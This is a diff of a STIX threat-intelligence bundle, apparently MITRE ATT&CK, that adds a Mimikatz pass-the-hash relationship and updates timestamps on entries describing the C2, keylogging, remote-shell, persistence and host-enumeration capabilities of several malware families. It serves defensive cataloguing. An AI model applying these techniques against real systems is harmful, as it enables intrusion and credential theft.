+                    "source_name": "Adsecurity Mimikatz Guide",
+                    "description": "Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015.",
+                    "url": "https://adsecurity.org/?page%20id=1821"
+                },
+                {
+                    "source_name": "Directory Services Internals DPAPI Backup Keys Oct 2015",
+                    "description": "Grafnetter, M. (2015, October 26). Retrieving DPAPI Backup Keys from Active Directory. Retrieved December 19, 2017.",
+                    "url": "https://www.dsinternals.com/en/retrieving-dpapi-backup-keys-from-active-directory/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--6b83bc1e-edfc-4c6a-961f-d3757ae6a234",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Mimikatz's <code>SEKURLSA::Pth</code> module can impersonate a user, with only a password hash, to execute arbitrary commands.",
+            "source_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60",
+            "target_ref": "attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Adsecurity Mimikatz Guide",
+                    "description": "Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015.",
+                    "url": "https://adsecurity.org/?page%20id=1821"
+                }
+            ]
+        },
         {
             "type": "relationship",
             "id": "relationship--e0d33a40-a0d1-49fe-bea1-d0e4f000f628",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Miner-C copies itself into the public folder of Network Attached Storage (NAS) devices and infects new victims who open the file.",
             "source_ref": "malware--17dec760-9c8f-4f1b-9b4b-0ac47a453234",
@@ -43612,7 +52249,7 @@
             "id": "relationship--d9e8d70a-06f6-4873-baf8-29ebfaf6bf99",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "MiniDuke uses HTTP and HTTPS for command and control.",
             "source_ref": "malware--5e7ef1dc-7fb6-4913-ac75-e06113b59e0c",
@@ -43633,7 +52270,7 @@
             "id": "relationship--1f972385-7f1c-4cbd-a071-951973e6d229",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Some MiniDuke components use Twitter to initially obtain the address of a C2 server or as a backup if no hard-coded C2 server responds.",
             "source_ref": "malware--5e7ef1dc-7fb6-4913-ac75-e06113b59e0c",
@@ -43659,7 +52296,7 @@
             "id": "relationship--62c8913c-c193-4feb-ab58-88343838336d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "MiniDuke uses Google Search to identify C2 servers if its primary C2 method via Twitter is not working.",
             "source_ref": "malware--5e7ef1dc-7fb6-4913-ac75-e06113b59e0c",
@@ -43680,7 +52317,7 @@
             "id": "relationship--67b49860-e1e4-4b56-bf83-108c4ac25e5c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "MiniDuke can download additional encrypted backdoors onto the victim via GIF files.",
             "source_ref": "malware--5e7ef1dc-7fb6-4913-ac75-e06113b59e0c",
@@ -43701,7 +52338,7 @@
             "id": "relationship--a61cf8cf-87f1-4061-ae9d-31e8162bdfef",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Mis-Type first attempts to use a Base64-encoded network protocol over a raw TCP socket for C2, and if that method fails, falls back to a secondary HTTP-based protocol to communicate to an alternate C2 server.",
             "source_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61",
@@ -43722,7 +52359,7 @@
             "id": "relationship--7f1c30eb-051f-4d1a-9d81-1ee46f7779c7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Mis-Type uses Base64 encoding for C2 traffic.",
             "source_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61",
@@ -43743,7 +52380,7 @@
             "id": "relationship--cef7d272-ee0c-4379-9d7b-63adf1f40252",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Mis-Type network traffic can communicate over a raw socket.",
             "source_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61",
@@ -43764,7 +52401,7 @@
             "id": "relationship--9b80479d-6f7a-45fd-af5b-1e8adfb1e7fd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Mis-Type network traffic can communicate over HTTP.",
             "source_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61",
@@ -43785,7 +52422,7 @@
             "id": "relationship--7e55e411-230e-4d1a-a780-d07784ed2cd6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Mis-Type may create a temporary user on the system named \u201cLost_{Unique Identifier}.\u201d",
             "source_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61",
@@ -43806,7 +52443,7 @@
             "id": "relationship--39e856a1-4bab-474e-a6b2-3ce69249bc29",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Mis-Type may create a file containing the results of the command <code>cmd.exe /c ipconfig /all</code>.",
             "source_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61",
@@ -43827,7 +52464,7 @@
             "id": "relationship--a33c172b-9910-4f36-8373-32126201144b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Mis-Type may create a file containing the results of the command <code>cmd.exe /c net user {Username}</code>.",
             "source_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61",
@@ -43848,7 +52485,7 @@
             "id": "relationship--41023c59-b41e-454a-ace2-cd98d4fedb8e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Mis-Type uses cmd.exe to run commands for enumerating the host.",
             "source_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61",
@@ -43869,7 +52506,7 @@
             "id": "relationship--4ffe2425-c971-45e5-9256-0b1a2bf63bbf",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Mis-Type saves itself as a file named msdtc.exe, which is also the name of the legitimate Microsoft Distributed Transaction Coordinator service.",
             "source_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61",
@@ -43895,7 +52532,7 @@
             "id": "relationship--a23ab6bc-e5cc-46a9-b77f-747ae6fc6a9b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Mis-Type communicates over common ports such as TCP 80, 443, and 25.",
             "source_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61",
@@ -43916,7 +52553,7 @@
             "id": "relationship--aeda6707-50e2-47e2-833a-18e4a5d73e88",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The initial beacon packet for Mis-Type contains the operating system version and file system of the victim.",
             "source_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61",
@@ -43937,7 +52574,7 @@
             "id": "relationship--a1e9769e-5172-4959-84d3-5a28796f86e1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Mis-Type runs tests to determine the privilege level of the compromised user.",
             "source_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61",
@@ -43958,7 +52595,7 @@
             "id": "relationship--ea964313-8f60-4cff-800c-2ea49e2c19d7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Many Misdat samples were programmed using Borland Delphi, which will mangle the default PE compile timestamp of a file.",
             "source_ref": "malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039",
@@ -43979,7 +52616,7 @@
             "id": "relationship--81b183bc-de6a-457c-a3f3-a1168e8456f1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Misdat network traffic communicates over common ports like 80, 443, or 1433.",
             "source_ref": "malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039",
@@ -44000,7 +52637,7 @@
             "id": "relationship--5e53b45b-ca14-4e8b-8c76-0cf9cb572a92",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Misdat network traffic communicates over a raw socket.",
             "source_ref": "malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039",
@@ -44021,7 +52658,7 @@
             "id": "relationship--a12a471b-39b2-4abf-80d0-af88d5a4f038",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Misdat network traffic is Base64-encoded plaintext.",
             "source_ref": "malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039",
@@ -44042,7 +52679,7 @@
             "id": "relationship--87e080cf-b8c0-4679-bcfb-ff77ab7698f3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The initial beacon packet for Misdat contains the operating system version of the victim.",
             "source_ref": "malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039",
@@ -44063,7 +52700,7 @@
             "id": "relationship--b4e77f71-970a-4b24-938f-0d50ecea1969",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Misdat is capable of providing shell functionality to the attacker to execute commands.",
             "source_ref": "malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039",
@@ -44084,7 +52721,7 @@
             "id": "relationship--1a4c94a1-6362-42b3-b1d9-41ae3fbf5ea5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Misdat is capable of running commands to obtain a list of files and directories, as well as enumerating logical drives.",
             "source_ref": "malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039",
@@ -44105,7 +52742,7 @@
             "id": "relationship--ae3be82b-3d54-4be8-939b-e074a2cea170",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Misdat is capable of downloading files from the C2.",
             "source_ref": "malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039",
@@ -44126,7 +52763,7 @@
             "id": "relationship--70a1cab8-dd98-4b82-9f7f-36294e3889c0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Misdat is capable of deleting the backdoor file.",
             "source_ref": "malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039",
@@ -44147,7 +52784,7 @@
             "id": "relationship--01ab8fee-5204-40c1-ac7a-b11a5683a87d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Misdat saves itself as a file named msdtc.exe, which is also the name of the legitimate Microsoft Distributed Transaction Coordinator service.",
             "source_ref": "malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039",
@@ -44173,7 +52810,7 @@
             "id": "relationship--dc68cc0c-154a-4c69-a35a-b7fd843d8e98",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Misdat is capable of deleting Registry keys used for persistence.",
             "source_ref": "malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039",
@@ -44194,7 +52831,7 @@
             "id": "relationship--5ab3897a-4f37-4b59-99ca-f39605cb1a35",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Mivast creates the following Registry entry: <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\Micromedia</code>.",
             "source_ref": "malware--fbb470da-1d44-4f29-bbb3-9efbe20f94a3",
@@ -44215,7 +52852,7 @@
             "id": "relationship--8278fc85-24af-4f8a-9b82-3f233f18f5a6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Mivast communicates over port 80 for C2.",
             "source_ref": "malware--fbb470da-1d44-4f29-bbb3-9efbe20f94a3",
@@ -44236,7 +52873,7 @@
             "id": "relationship--f8a90328-b7ee-474a-9773-f5bf501defd3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Mivast has the capability to open a remote shell and run basic commands.",
             "source_ref": "malware--fbb470da-1d44-4f29-bbb3-9efbe20f94a3",
@@ -44257,7 +52894,7 @@
             "id": "relationship--d7699bcf-5732-40f5-a715-d430b00b043e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Mivast has the capability to download and execute .exe files.",
             "source_ref": "malware--fbb470da-1d44-4f29-bbb3-9efbe20f94a3",
@@ -44278,7 +52915,7 @@
             "id": "relationship--ac72c3da-6b58-4f66-8476-8d3cc9ccf6bd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Mivast has the capability to gather NTLM password information.",
             "source_ref": "malware--fbb470da-1d44-4f29-bbb3-9efbe20f94a3",
@@ -44299,7 +52936,7 @@
             "id": "relationship--cfccba1b-5aa0-46ef-b668-d9f7e25b53ae",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "MobileOrder communicates with its C2 server over TCP port 3728.",
             "source_ref": "malware--463f68f1-5cde-4dc2-a831-68b73488f8f4",
@@ -44320,7 +52957,7 @@
             "id": "relationship--28f655e0-ac0b-41bc-baaf-9a9987469fe9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "MobileOrder uses AES to encrypt C2 communications.",
             "source_ref": "malware--463f68f1-5cde-4dc2-a831-68b73488f8f4",
@@ -44341,7 +52978,7 @@
             "id": "relationship--6fdaef62-c4da-488a-a07d-c8fca2c98d85",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "MobileOrder has a command to upload information about all running processes to its C2 server.",
             "source_ref": "malware--463f68f1-5cde-4dc2-a831-68b73488f8f4",
@@ -44362,7 +52999,7 @@
             "id": "relationship--bc72acee-e417-4de8-8084-153e141917b6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "MobileOrder has a command to upload to its C2 server information about files on the victim mobile device, including SD card size, installed app list, browser bookmarks, SMS content, contacts, and calling history.",
             "source_ref": "malware--463f68f1-5cde-4dc2-a831-68b73488f8f4",
@@ -44383,7 +53020,7 @@
             "id": "relationship--a02da835-676d-47df-86c6-547a7d29dbae",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "MobileOrder has a command to upload to its C2 server victim mobile device information, including IMEI, IMSI, SIM card serial number, phone number, Android version, and other information.",
             "source_ref": "malware--463f68f1-5cde-4dc2-a831-68b73488f8f4",
@@ -44404,7 +53041,7 @@
             "id": "relationship--56d858ef-2d62-4aa9-b050-699de9b048e9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "MobileOrder has a command to download a file from the C2 server to the victim mobile device's SD card.",
             "source_ref": "malware--463f68f1-5cde-4dc2-a831-68b73488f8f4",
@@ -44425,7 +53062,7 @@
             "id": "relationship--4ffcf69a-c7ef-46dc-add7-9093e454a67e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "MobileOrder exfiltrates data to its C2 server over the same protocol as C2 communications.",
             "source_ref": "malware--463f68f1-5cde-4dc2-a831-68b73488f8f4",
@@ -44446,7 +53083,7 @@
             "id": "relationship--5d55979e-d4e8-44eb-97d6-e3e78baa60c7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "MobileOrder exfiltrates data collected from the victim mobile device.",
             "source_ref": "malware--463f68f1-5cde-4dc2-a831-68b73488f8f4",
@@ -44467,7 +53104,7 @@
             "id": "relationship--162a051d-a551-4b8c-875a-75264768e541",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "MoonWind installs itself as a new service with automatic startup to establish persistence. The service checks every 60 seconds to determine if the malware is running; if not, it will spawn a new instance.",
             "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1",
@@ -44488,7 +53125,7 @@
             "id": "relationship--0e58b447-7b3e-404c-b8e5-003734c34574",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "MoonWind has a keylogger.",
             "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1",
@@ -44509,7 +53146,7 @@
             "id": "relationship--9c4a8336-5f5f-4e58-b00d-b6bf1c59ec03",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "MoonWind saves information from its keylogging routine as a .zip file in the present working directory.",
             "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1",
@@ -44530,7 +53167,7 @@
             "id": "relationship--72fe5021-bace-41e4-9cc6-73af415225ac",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "MoonWind can obtain the victim hostname, Windows version, RAM amount, number of drives, and screen resolution.",
             "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1",
@@ -44551,7 +53188,7 @@
             "id": "relationship--818a401d-dd4d-426a-b89c-d33625380b8b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "MoonWind obtains the victim username.",
             "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1",
@@ -44572,7 +53209,7 @@
             "id": "relationship--c585ae70-1bda-4751-ad34-536a78b7daad",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "MoonWind obtains the victim IP address.",
             "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1",
@@ -44593,7 +53230,7 @@
             "id": "relationship--77c63e89-71fe-47e3-babb-13e7722932ad",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "MoonWind obtains the victim's current time.",
             "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1",
@@ -44614,7 +53251,7 @@
             "id": "relationship--5cceffd9-5818-4481-bce6-4e326548d6b4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "MoonWind obtains the number of removable drives from the victim.",
             "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1",
@@ -44635,7 +53272,7 @@
             "id": "relationship--51c5e624-d08e-4750-91f9-fdc98ec56552",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "MoonWind completes network communication via raw sockets.",
             "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1",
@@ -44656,7 +53293,7 @@
             "id": "relationship--2864eb81-71a5-4325-b42a-7a725f0c6887",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "MoonWind communicates over ports 80, 443, 53, and 8080 via raw sockets instead of the protocols usually associated with the ports.",
             "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1",
@@ -44677,7 +53314,7 @@
             "id": "relationship--609d3d8c-1995-43ef-a102-a39d668a774d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "MoonWind encrypts C2 traffic using RC4 with a static key.",
             "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1",
@@ -44698,7 +53335,7 @@
             "id": "relationship--1035fe41-56b9-4966-bf3b-109ae950c908",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "MoonWind has a command to return a list of running processes.",
             "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1",
@@ -44719,7 +53356,7 @@
             "id": "relationship--b8e50d79-c024-4dc1-aad2-d7181fbbf1bb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "MoonWind can execute commands via an interactive command shell.",
